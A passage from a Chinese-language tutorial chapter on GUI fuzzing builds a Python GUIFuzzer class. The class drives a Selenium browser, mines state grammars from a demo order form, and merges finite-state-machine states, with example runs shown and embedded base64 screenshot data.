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ra+k9dOH3NLDn1XbRe61DjuZvmuNcvJw6Ft6536PQ3F3Xziv1zPRSG8nqHwqVLlwjPAAAA/T0uARqI5o7NdVvf40lLS7uvlwMAAAAAHnEEaDyO3HHb/SfskqTGxkbNnj1bEydOfPgn9piL7lJMefgFAAAAgyBA43FUXl5uxub6/X4NHz5c2dnZZtKygoKCAbv1AwAAAHgMEaDxuDp9+rSWLVumsWPHKj09XdnZ2Zo3b17ctbIBAAAAgAANAAAAAIANAjQAAAAAABYI0AAAAAAAWCBAAwAAAABggQANAAAAAIAFAjQAAAAAABYI0AAAAAAAWCBAAwAAAABggQANAAAAAIAFAjQAAAAAABYI0AAAAAAAWCBAAwAAAABggQANAAAAAIAFAjQAAAAAABYI0AAAAAAAWCBAAwAAAABggQANAAAAAIAFAjQAAAAAABYI0AAAAAAAWCBAAwAAAABggQANAAAAAIAFAjQAAAAAABYI0AAAAAAAWCBAAwAAAABggQANAAAAAIAFAjQAAAAAABYI0AAAAAAAWCBAAwAAAABggQANAAAAAIAFAjQAAAAAABYI0AAAAAAAWCBAAwAAAABggQANAAAAAIAFAjQAAAAAABYI0AAAAAAAWCBAAwAAAABggQANAAAAAIAFAjQAAAAAABYI0AAAAAAAWCBAAwAAAABggQANAAAAAIAFAjQAAAAAABYI0AAAAAAAWCBAAwAAAABggQANAAAAAIAFAjQAAAAAABZ+kABNoVAoFAqFQqFQKBTKv3ohQFMoFAqFQqFQKBQKhWJRCNAUCoVCoVAoFAqFQqFYFAI0hUKhUCgUCoVCoVAoFuWBBGgAAAAAAB5TBGgAAAAAACwQoAEAAAAAsECABgAAAADAAgEaAAAAAAALBGgAAAAAACwQoAEAAAAAsECABgAAAADAAgEaAAAAAAALBGgAAAAAACwQoAEAAAAAsECABgAAAADAAgEaAAAAAAALBGgAAAAAACwQoAEAAAAAsECABgAAAADAAgEaAAAAAAALBGgAAAAAACwQoAEAAAAAsECABgAAAADAAgEaAAAAAAALBGgAAAAAACwQoAEAAAAAsECABgAAAADAAgEaAAAAAAALBGgAAAAAACwQoAEAAAAAsECABgAAAADAAgEaAAAAAAALBGgAAAAAACwQoAEAAAAAsECABgAAAADAAgEaAAAAAAALBGgAAAAAACwQoAEAAAAAsECABgAAAADAAgEaAAAAAAALBGgAAAAAACwQoAEAAAAAsECABgAAAADAAgEaAAAAAAALBGgAAAAAACwQoAEAAAAAsECABgAAAADAAgEaAAAAAAALBGgAAAAAACwQoAEAAAAAsECABgAAAADAAgEaAAAAAAALBGgAAAAAACwQoAEAAAAAsECABgAAAADAAgEaAAAAAAALBGgAAAAAACwQoAEAAAAAsECABgAAAADAAgEaAAAAAAALBGgAAAAAACwQoAEAAAAAsECABgAAAADAAgEaAAAAAAALBGgAAAAAACwQoAEAAAAAsECABgAAAADAAgEaAAAAAAALBGgAAAAAACwQoAEAAAAAsECABgAAAADAAgEaAAAAAAALBGgAAAAAACwQoAEAAAAAsECABgAAAADAAgEaAAAAAAALBGgAAAAAACwQoAEAAAAAsECABgAAAADAAgEaAAAAAAALBGgAAAAAACwQoAEAAAAAsECABgAAAADAwv8HveJvXvewH6gAAAAASUVORK5CYII=
+)
+
+## 浏览用户界面
+
+到目前为止，我们的语法检索和动作执行仅限于当前用户界面状态（即显示的当前页面）。 为了系统地探索用户界面，我们必须探索所有状态，尤其是以`<unexplored>`结尾的状态-每当我们到达新状态时，再次检索其语法以使我们可能能够到达其他状态。 由于只能通过生成输入来达到某些状态，因此测试生成和用户界面浏览*同时进行。*
+
+因此，我们引入了`GUIFuzzer`类，该类为所有形式生成输入并遵循所有链接，并在遇到新状态时更新其语法（即，其用户界面模型为有限状态机）。
+
+同时探索状态和更新语法是一个相当复杂的操作，因此我们需要引入许多方法才能使用它。 `GUIFuzzer`构造函数设置了三个重要属性：
+
+1.  `state_symbol`：保存当前状态的符号（例如`<state-1>`）。
+2.  `state`：它保存由`GUIGrammarMiner`方法`mine_state_actions()`返回的当前状态的一组操作。
+3.  `states_seen`：这会将看到的状态（如`state`中所示）映射到各个符号。
+
+让我们显示初始化后的这三个属性。
+
+```py
+from [Grammars](Grammars.html) import is_nonterminal
+
+```
+
+```py
+from [GrammarFuzzer](GrammarFuzzer.html) import GrammarFuzzer
+
+```
+
+```py
+class GUIFuzzer(GrammarFuzzer):
+    def __init__(self, driver, 
+                 stay_on_host=True,
+                 log_gui_exploration=False, 
+                 disp_gui_exploration=False, 
+                 **kwargs):
+        self.driver = driver
+        self.miner = GUIGrammarMiner(driver)
+        self.stay_on_host = True
+        self.log_gui_exploration = log_gui_exploration
+        self.disp_gui_exploration = disp_gui_exploration
+        self.initial_url = driver.current_url
+
+        self.states_seen = {}  # Maps states to symbols
+        self.state_symbol = GUIGrammarMiner.START_STATE
+        self.state = self.miner.mine_state_actions()
+        self.states_seen[self.state] = self.state_symbol
+
+        grammar = self.miner.mine_state_grammar()
+        super().__init__(grammar, **kwargs)
+
+```
+
+```py
+gui_driver.get(httpd_url)
+
+```
+
+初始状态符号始终为`<state>`：
+
+```py
+gui_fuzzer = GUIFuzzer(gui_driver)
+gui_fuzzer.state_symbol
+
+```
+
+```py
+'<state>'
+
+```
+
+当前状态由可用的UI操作表征：
+
+```py
+gui_fuzzer.state
+
+```
+
+```py
+frozenset({"check('terms', <boolean>)",
+           "click('terms and conditions')",
+           "fill('city', '<text>')",
+           "fill('email', '<email>')",
+           "fill('name', '<text>')",
+           "fill('zip', '<number>')",
+           "submit('submit')"})
+
+```
+
+`states_seen`将此状态映射到其符号：
+
+```py
+gui_fuzzer.states_seen[gui_fuzzer.state]
+
+```
+
+```py
+'<state>'
+
+```
+
+`restart()`方法使我们返回到初始URL并重置状态。 这就是我们在每次新探索中使用的方法。
+
+```py
+class GUIFuzzer(GUIFuzzer):
+    def restart(self):
+        self.driver.get(self.initial_url)
+        self.state = GUIGrammarMiner.START_STATE
+
+```
+
+从语法生成一系列动作时，我们想知道我们要处于哪个最终状态。我们可以从生成的*派生树*中检索该路径-这是最后一个被扩展的符号。
+
+```py
+while True:
+    action = gui_fuzzer.fuzz()
+    if action.find('click(') >= 0:
+        break
+
+```
+
+```py
+from [GrammarFuzzer](GrammarFuzzer.html) import display_tree
+
+```
+
+```py
+tree = gui_fuzzer.derivation_tree
+display_tree(tree)
+
+```
+
+<svg height="212pt" viewBox="0.00 0.00 252.00 212.00" width="252pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 208)"><title>%3</title> <g class="node" id="node1"><title>0</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="141.5" y="-192.8"><start></text></g> <g class="node" id="node2"><title>1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="141.5" y="-141.8"><state></text></g> <g class="edge" id="edge1"><title>0->1</title></g> <g class="node" id="node3"><title>2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="79.5" y="-90.8">click('terms and conditions')</text></g> <g class="edge" id="edge2"><title>1->2</title></g> <g class="node" id="node4"><title>3</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="204.5" y="-90.8"><state-1></text></g> <g class="edge" id="edge3"><title>1->3</title></g> <g class="node" id="node5"><title>4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="204.5" y="-39.8"><unexplored></text></g> <g class="edge" id="edge4"><title>3->4</title></g> <g class="node" id="node6"><title>5</title></g> <g class="edge" id="edge5"><title>4->5</title></g></g></svg>
+
+```py
+class GUIFuzzer(GUIFuzzer):
+    def fsm_path(self, tree):
+        """Return sequence of state symbols"""
+        (node, children) = tree
+        if node == GUIGrammarMiner.UNEXPLORED_STATE:
+            return []
+        elif children is None or len(children) == 0:
+            return [node]
+        else:
+            return [node] + self.fsm_path(children[-1])
+
+```
+
+这是有限状态机中朝向“模糊”状态的路径：
+
+```py
+gui_fuzzer = GUIFuzzer(gui_driver)
+gui_fuzzer.fsm_path(tree)
+
+```
+
+```py
+['<start>', '<state>', '<state-1>']
+
+```
+
+这是它的最后一个元素：
+
+```py
+class GUIFuzzer(GUIFuzzer):
+    def fsm_last_state_symbol(self, tree):
+        """Return current (expected) state symbol"""
+        for state in reversed(self.fsm_path(tree)):
+            if is_nonterminal(state):
+                return state
+        assert False
+
+```
+
+```py
+gui_fuzzer = GUIFuzzer(gui_driver)
+gui_fuzzer.fsm_last_state_symbol(tree)
+
+```
+
+```py
+'<state-1>'
+
+```
+
+在运行（HTG0]的模糊器时，我们创建一个动作（通过`fuzz()`），并检索和更新运行该动作后应该进入的状态符号（`state_symbol`）。 在给定的`GUIRunner`中实际运行操作后，我们使用`update_state()`检索并更新当前状态。
+
+```py
+class GUIFuzzer(GUIFuzzer):
+    def run(self, runner):
+        assert isinstance(runner, GUIRunner)
+
+        self.restart()
+        action = self.fuzz()
+        self.state_symbol = self.fsm_last_state_symbol(self.derivation_tree)
+
+        if self.log_gui_exploration:
+            print("Action", action.strip(), "->", self.state_symbol)
+
+        result, outcome = runner.run(action)
+
+        if self.state_symbol != GUIGrammarMiner.FINAL_STATE:
+            self.update_state()
+
+        return self.state_symbol, outcome
+
+```
+
+在更新当前状态时，我们检查我们是处于新状态还是以前看到的状态，并分别调用`update_new_state()`或`update_existing_state()`。
+
+```py
+class GUIFuzzer(GUIFuzzer):
+    def update_state(self):
+        if self.disp_gui_exploration:
+            display(Image(self.driver.get_screenshot_as_png()))
+
+        self.state = self.miner.mine_state_actions()
+        if self.state not in self.states_seen:
+            self.states_seen[self.state] = self.state_symbol
+            self.update_new_state()
+        else:
+            self.update_existing_state()
+
+```
+
+找到一个新状态意味着我们为新发现的状态挖掘一个新的语法，并用它来更新我们现有的语法。
+
+```py
+class GUIFuzzer(GUIFuzzer):
+    def set_grammar(self, new_grammar):
+        self.grammar = new_grammar
+
+        if self.disp_gui_exploration and rich_output():
+            display(fsm_diagram(self.grammar))
+
+```
+
+```py
+class GUIFuzzer(GUIFuzzer):
+    def update_new_state(self):
+        if self.log_gui_exploration:
+            print("In new state", unicode_escape(self.state_symbol), unicode_escape(repr(self.state)))
+
+        state_grammar = self.miner.mine_state_grammar(grammar=self.grammar, 
+                                                      state_symbol=self.state_symbol)
+        del state_grammar[START_SYMBOL]
+        del state_grammar[GUIGrammarMiner.START_STATE]
+        self.set_grammar(extend_grammar(self.grammar, state_grammar))
+
+```
+
+如果找到现有状态，则需要*合并*这两个状态。 例如，如果发现我们位于现有的`<state-1>`中而不是预期的`<state-3>`中，则将语法中的所有`<state-3>`实例替换为`<state-1>`。 `replace_symbol()`方法负责重命名； `update_existing_state()`相应地设置语法。
+
+```py
+from [Grammars](Grammars.html) import exp_string, exp_opts
+
+```
+
+```py
+def replace_symbol(grammar, old_symbol, new_symbol):
+    """Return a grammar in which all occurrences of `old_symbol` are replaced by `new_symbol`"""
+    new_grammar = {}
+
+    for symbol in grammar:
+        new_expansions = []
+        for expansion in grammar[symbol]:
+            new_expansion_string = exp_string(expansion).replace(old_symbol, new_symbol)
+            if len(exp_opts(expansion)) > 0:
+                new_expansion = (new_expansion_string, exp_opts(expansion))
+            else:
+                new_expansion = new_expansion_string
+            new_expansions.append(new_expansion)
+
+        new_grammar[symbol] = new_expansions
+
+    # Remove unused parts
+    for nonterminal in unreachable_nonterminals(new_grammar):
+        del new_grammar[nonterminal]
+
+    return new_grammar
+
+```
+
+```py
+class GUIFuzzer(GUIFuzzer):            
+    def update_existing_state(self):
+        if self.log_gui_exploration:
+            print("In existing state", self.states_seen[self.state])
+
+        if self.state_symbol != self.states_seen[self.state]:
+            if self.log_gui_exploration:
+                print("Replacing expected state %s by %s" %
+                      (self.state_symbol, self.states_seen[self.state]))
+
+            new_grammar = replace_symbol(self.grammar, self.state_symbol, 
+                                         self.states_seen[self.state])
+            self.state_symbol = self.states_seen[self.state]
+            self.set_grammar(new_grammar)
+
+```
+
+这就总结了我们对`GUIFuzzer`的定义。 现在，我们可以使用它，启用其日志记录机制以查看其运行情况。
+
+```py
+gui_driver.get(httpd_url)
+
+```
+
+```py
+gui_fuzzer = GUIFuzzer(gui_driver, log_gui_exploration=True, disp_gui_exploration=True)
+
+```
+
+第一次运行它会产生一个新状态：
+
+```py
+gui_fuzzer.run(gui_runner)
+
+```
+
+```py
+Action  -> <end>
+
+```
+
+```py
+('<end>', 'PASS')
+
+```
+
+接下来的动作将填写订单。
+
+```py
+gui_fuzzer.run(gui_runner)
+
+```
+
+```py
+Action fill('zip', '205')
+fill('name', 'j1')
+fill('city', ' ')
+check('terms', False)
+fill('email', 'NcH@MqJfs')
+submit('submit') -> <state-2>
+
+```
+
+![](data:image/png;base64,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